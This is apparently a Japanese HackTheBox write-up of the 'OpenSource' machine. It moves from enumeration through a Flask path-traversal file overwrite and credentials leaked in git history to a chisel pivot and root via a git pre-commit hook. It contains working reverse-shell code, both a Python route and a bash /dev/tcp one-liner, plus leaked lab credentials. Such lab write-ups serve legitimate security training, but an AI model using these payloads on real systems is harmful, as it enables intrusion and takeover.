【HackTheBox】OpenSource Writeup
Enumeration
nmap
┌──(kali㉿kali)-[~]
└─$ nmap -Pn 10.10.11.164
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-04 06:36 EDT
Nmap scan report for 10.10.11.164
Host is up (0.16s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp filtered ppp
sshとhttpが開いてます。filteredになっている3000番ポートも気になります。
Upcloud Website
ウェブサイトを見てみます。
downloadからソースコードをダウンロードできます。
Take me thereを押すと/upcloud
に遷移します。ファイルをアップロードすると、ファイルのリンクが表示されます。
リンクにアクセスするとファイルの中身が表示されます。
gobuster
┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.11.164
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
...[SNIP]...
===============================================================
/console (Status: 200) [Size: 1563]
/download (Status: 200) [Size: 2489147]
===============================================================
/console
の存在は知らなかったので中身を確認します。
/console Page
アクセスするとこんな感じです。このアプリのdebuggerっぽいですが、ロックされています。
ページソースを見てみるとscriptにSECRET = "G8H2ETLHSZMtN0q2Rtwz"
がありました。
調べてみたら、hacktricksにexploitの方法が書いてありました。でもめんどくさそうだったし、ソースコードもまだ見てないので、いったんenumerationを続けます。(https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug)
Source Code Analysis
構成は普通のflaskアプリで、.git
ディレクトリもありました。
気になったところをメモします。
Discover dev Branch
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
コードに書いているrouteは先ほど見たサイトと違います。差分が気になるので、git logs
で過去のコミットを確認したいと思います。
変わったコミットはなかったが、ブランチがpublic
になっていることがわかりました。
┌──(kali㉿kali)-[~/Downloads/opensource]
└─$ git log
commit 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public)
Author: gituser <gituser@local>
Date: Thu Apr 28 13:55:55 2022 +0200
clean up dockerfile for production use
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date: Thu Apr 28 13:45:17 2022 +0200
initial
dev
ブランチもありました。devにswitchしてみます。
dev Branch Code Analysis
┌──(kali㉿kali)-[~/Downloads/opensource]
└─$ git branch
dev
* public
┌──(kali㉿kali)-[~/Downloads/opensource]
└─$ git switch dev
/download
と/upcloud
のrouteがありました。ウェブサイトはdevブランチみたいです。
@app.route('/download')
def download():
return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))
@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
os.path.join()
は引数に絶対パスがあると、その前の引数は無視されます。この特性を使ってサーバー上のファイルを書き換えることができます。
utils.py
の中にアップロードされたファイルのパスのsanitizationが実装されています。
def get_file_name(unsafe_filename):
return recursive_replace(unsafe_filename, "../", "")
def recursive_replace(search, replace_me, with_me):
if replace_me not in search:
return search
return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)
Discover LFI
絶対パスと../
でLFIができます。
dev Branch Git Log
devブランチのログも見てみます。
┌──(kali㉿kali)-[~/Downloads/opensource]
└─$ git log
commit c41fedef2ec6df98735c11b2faf1e79ef492a0f3 (HEAD -> dev)
Author: gituser <gituser@local>
Date: Thu Apr 28 13:47:24 2022 +0200
ease testing
commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:54 2022 +0200
added gitignore
commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:16 2022 +0200
updated
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date: Thu Apr 28 13:45:17 2022 +0200
initial
一つずつ確認したら、be4da71987bbbc8fae7c961fb2de01ebd0be1997
コミットにcredentailsっぽいものがありました。
┌──(kali㉿kali)-[~/Downloads/opensource]
└─$ git show be4da71987bbbc8fae7c961fb2de01ebd0be1997
commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:54 2022 +0200
added gitignore
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..e50a290
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,26 @@
+.DS_Store
...[SNIP]...
+*,cover
diff --git a/app/.vscode/settings.json b/app/.vscode/settings.json
deleted file mode 100644
index 5975e3f..0000000
--- a/app/.vscode/settings.json
+++ /dev/null
@@ -1,5 +0,0 @@
-{
- "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
- "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
- "http.proxyStrictSSL": false
-}
まとめると、
- devブランチがあった。サイトはdevのコードを使っている
-
os.path.join()
でサーバー上のファイルを書き換えれる - LFIでサーバー上のファイルreadできる
- 過去のコミットから
dev01:Soulless_Developer#2022
というcredentialsを発見
Shell as Root in Docker Container
Create & Upload Malicious views.py
views.py
を作ります。中身はソースコードと同じですが、/revshell
というrouteを追加します。
import os
from app.utils import get_file_name
from flask import render_template, request, send_file
from app import app
import socket
import subprocess
@app.route('/')
def index():
return render_template('index.html')
...[SNIP]...
@app.route('/revshell')
def connect_to_attacker():
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.7",9001))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
return
自作のviews.py
をアップロードします。
リクエストをburpでinterceptしてパスを/app/app/views.py
に書き換えます。
/revshell
をcurlするとシェルが取れました。
curl 'http://10.10.11.164/revshell'
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.164] 52682
/bin/sh: can't access tty; job control turned off
/app # whoami
root
/app #
docker containerの中のrootです。フラグはありませんでした。
Shell as dev01
Container Enumeration
コンテナのipを見てみます。
ifconfig
eth0 Link encap:Ethernet HWaddr 02:42:AC:11:00:09
inet addr:172.17.0.9 Bcast:172.17.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:5807 errors:0 dropped:0 overruns:0 frame:0
TX packets:5550 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:439847 (429.5 KiB) TX bytes:3988787 (3.8 MiB)
ipは172.17.0.9
です。docker hostの127.17.0.1
のポートをスキャンします。
/ # wget http://10.10.14.7:8000/nmap
/ # chmod +x nmap
/ # ping 127.17.0.1 -c 1
PING 127.17.0.1 (127.17.0.1): 56 data bytes
64 bytes from 127.17.0.1: seq=0 ttl=64 time=0.066 ms
--- 127.17.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.066/0.066/0.066 ms
/ # ./nmap 172.17.0.1 -Pn
Nmap scan report for 172.17.0.1
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.000027s latency).
Not shown: 1145 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open unknown
6000/tcp open x11
6001/tcp open x11-1
6002/tcp open x11-2
6003/tcp open x11-3
6004/tcp open x11-4
6005/tcp open x11-5
6006/tcp open x11-6
6007/tcp open x11-7
開いているポートが多い、、
最初から気になっていたポート3000をwgetしてみます。Giteaが動いてるみたいです。
/ # wget 172.17.0.1:3000
Connecting to 172.17.0.1:3000 (172.17.0.1:3000)
saving to 'index.html'
index.html 100% |********************************| 13414 0:00:00 ETA
'index.html' saved
/ # cat index.html
<!DOCTYPE html>
<html lang="en-US" class="theme-">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title> Gitea: Git with a cup of tea</title>
Chisel Port Forwarding
Giteaをブラウザで見たいので、172.17.0.1
のport 3000を自分に転送します。
pivot hostがコンテナでsshアクセスできないので、chiselでport forwardingをします。
ビルド済みのchiselをダウンロードして、コンテナからwgetします。
/ # wget http://10.10.14.7:8000/chisel
/ # chmod +x chisel
/ # ./chisel --help
Usage: chisel [command] [--help]
Version: 1.8.1 (go1.19.4)
Commands:
server - runs chisel in server mode
client - runs chisel in client mode
Read more:
https://github.com/jpillora/chisel
hacktricksの手順で実行します。
(https://book.hacktricks.xyz/generic-methodologies-and-resources/tunneling-and-port-forwarding#port-forwarding)
┌──(kali㉿kali)-[~/chisel]
└─$ ./chisel server --reverse -p 8001
/ # ./chisel client 10.10.14.7:8001 R:3000:172.17.0.1:3000
http://localhost:3000
にアクセスするとgiteaのページが見れました。
Gitea Enumeration
dev01:Soulless_Developer#2022
でログインできました。.ssh
のディレクトリにid_rsa
もあったので、これでsshします。
┌──(kali㉿kali)-[~]
└─$ ssh -i ./opensource/dev1key dev01@10.10.11.164
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-176-generic x86_64)
Last login: Mon May 16 13:13:33 2022 from 10.10.14.23
dev01@opensource:~$ id
uid=1000(dev01) gid=1000(dev01) groups=1000(dev01)
dev01@opensource:~$ cat user.txt
userフラグ取れました。
Shell as Root
Enumeration
Linpeasを実行してみましたが、いいヒントがなかったです。
sudo
できるコマンドもありませんでした。
dev01@opensource:~$ ls -la
total 856
drwxr-xr-x 7 dev01 dev01 4096 Jun 5 11:20 .
drwxr-xr-x 4 root root 4096 May 16 2022 ..
lrwxrwxrwx 1 dev01 dev01 9 Mar 23 2022 .bash_history -> /dev/null
-rw-r--r-- 1 dev01 dev01 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 dev01 dev01 3771 Apr 4 2018 .bashrc
drwx------ 2 dev01 dev01 4096 May 4 2022 .cache
drwxrwxr-x 8 dev01 dev01 4096 Jun 5 11:23 .git
drwx------ 3 dev01 dev01 4096 May 4 2022 .gnupg
-rwxrwxr-x 1 dev01 dev01 830030 Apr 30 07:47 linpeas.sh
drwxrwxr-x 3 dev01 dev01 4096 May 4 2022 .local
-rw-r--r-- 1 dev01 dev01 807 Apr 4 2018 .profile
drwxr-xr-x 2 dev01 dev01 4096 May 4 2022 .ssh
-rw-r----- 1 root dev01 33 Jun 4 10:23 user.txt
.git
があったのでログを見てみます。
直近のコミットが2分ほど前でした。何か自動でbackup取ってコミットしてるみたいです。
pspy
でプロセスを見て、このbackupとるスクリプトを特定します。
dev01@opensource:~$ git log
commit 62ca48474230fa5aec1a3dce13b80b28a6d3b3c3 (HEAD -> main)
Author: gituser <gituser@local>
Date: Mon Jun 5 11:21:01 2023 +0000
Backup for 2023-06-05
それっぽいの見つけました。
2023/06/05 11:32:01 CMD: UID=0 PID=18556 | /bin/sh -c /usr/local/bin/git-sync
2023/06/05 11:32:01 CMD: UID=0 PID=18555 | /bin/sh -c /usr/local/bin/git-sync
スクリプトの中身を確認します。/home/dev01
に変更があるとコミットしてプッシュするコードです。
#!/bin/bash:/usr/local/bin/git-sync
cd /home/dev01/
if ! git status --porcelain; then
echo "No changes"
else
day=$(date +'%Y-%m-%d')
echo "Changes detected, pushing.."
git add .
git commit -m "Backup for ${day}"
git push origin main
fi
Git Hooks Exploit
GTFOBinsにgitで検索してみたら使えそうなexploitが出てきました。(https://gtfobins.github.io/gtfobins/git/ )
pre-commitのgit hookにreverse shellのスクリプトを入れれば、/usr/local/bin/git-sync
が実行されるとroot shellが取れるみたいです。やってみます。
dev01@opensource:~$ nano .git/hooks/pre-commit
dev01@opensource:~$ cat .git/hooks/pre-commit
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.7/9001 0>&1'
dev01@opensource:~$ touch somefile
少し待つとroot shellが取れました。
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.164] 51226
bash: cannot set terminal process group (1927): Inappropriate ioctl for device
bash: no job control in this shell
root@opensource:/home/dev01# whoami
whoami
root
Memo
tunneling雑魚なのでいい練習になりました。
今回はかなりforumのお世話になった、、forumの皆さんありがとうございましたー
Discussion